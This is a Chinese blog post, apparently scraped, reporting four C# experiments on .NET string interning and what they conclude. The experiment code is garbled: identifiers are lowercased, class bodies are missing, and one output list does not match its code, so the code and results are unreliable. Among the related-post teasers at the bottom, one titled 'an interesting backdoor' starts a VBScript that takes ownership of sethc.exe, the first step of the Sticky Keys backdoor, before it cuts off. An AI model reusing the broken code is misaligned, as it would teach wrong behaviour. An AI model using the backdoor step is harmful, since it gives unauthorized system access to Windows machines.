本次字串拘留實驗分為4個,最終根據實驗得出了乙個很有意思的結論。這些結論使兄弟們在以前關於字串操作的結論基礎上進行深入理解。(關於字串拘留池,請google一下string intern pool,你可以搜尋到不少東西的。)
1 在main中沒有出現硬字串
string a1 = new
string('a', 1);
string a2 = new
string('a', 1);
console.writeline(a1);
console.writeline(string.isinterned(a1) != null);
console.writeline(referenceequals(a1, a2));
> a
> false
> false
2 在main**現硬字串
string a1 = new
string('a', 1);
string a2 = new
string('a', 1);
console.writeline(a1);
console.writeline(string.isinterned(a1) != null);
console.writeline(string.isinterned("a") != null);
console.writeline(referenceequals(a1, a2));
> a
> true
> true
> false
注意:為什麼第乙個isinterned竟然得出a已經拘留了呢?呵呵。
3 在main中不出現硬字串,但在另乙個類出現硬字串,不過另乙個類沒有被使用
// a1
和 a2都不在拘留池,且位址不一樣。
string a1 = new
string('a', 1);
string a2 = new
string('a', 1);
console.writeline(a1);
console.writeline(string.isinterned(a1) != null);
console.writeline(referenceequals(a1, a2));
class
stringinternpooltest1
} > a
> false
> false
4 在main中不出現硬字串,但使用了另乙個具有硬字串的類
string a1 = new
string('a', 1);
string a2 = new
string('a', 1);
console.writeline(a1);
console.writeline(string.isinterned(a1) != null);
console.writeline(referenceequals(a1, a2));
stringinternpooltest1 test = new
stringinternpooltest1();
class
stringinternpooltest1
} > a
> false
> false
> true
本次實驗結論:
1 只有硬字串才能被拘留;
2 當jit編譯方法後,執行前會將乙個方法的所有硬字串拘留;
3 string x = "a" 不會執行記憶體分配,原因很簡單,在該語句之前jit已經執行字串拘留,即jit提前分配了字串的所需的記憶體以及字串拘留池項。
其它待實驗論點:
1 只有clr執行結束,拘留字串才能被釋放;
2 拘留乙個字串的行為為將引用新增到clr的乙個hashtable,它始終對字串進行引用,從而阻止gc對拘留字串進行**;
3 編譯器的優化行為(大家可以猜測一下如何優化,呵呵)。
有意思的後門
dim obj,success set obj createobject wscript.shell success obj.run cmd c takeown f systemroot system32 sethc.exe 0,true success obj.run cmd c echo y c...
有意思的number format
申明 這是個人原創,在cnblogs上也有,都是自己寫的所以放原創了。number format number,decimals,decimalpoint,separator 有四個引數,第乙個和第二個引數是必須的,第三個和第四個是可選項。但實際測試中第三個和第四個這兩個引數必須同時存在,也就是要麼...
有意思的遞迴
先來乙個入門的 上初中學習數列求和什麼的時候我們就學過高斯的計算1到100的自然數的和的經典課文,那麼如果我們現在用程式的話該怎麼來做呢?自然是迴圈來做這件事。如果不用迴圈怎麼做呢?def sum first,end if end 1 return first elif end 1 return s...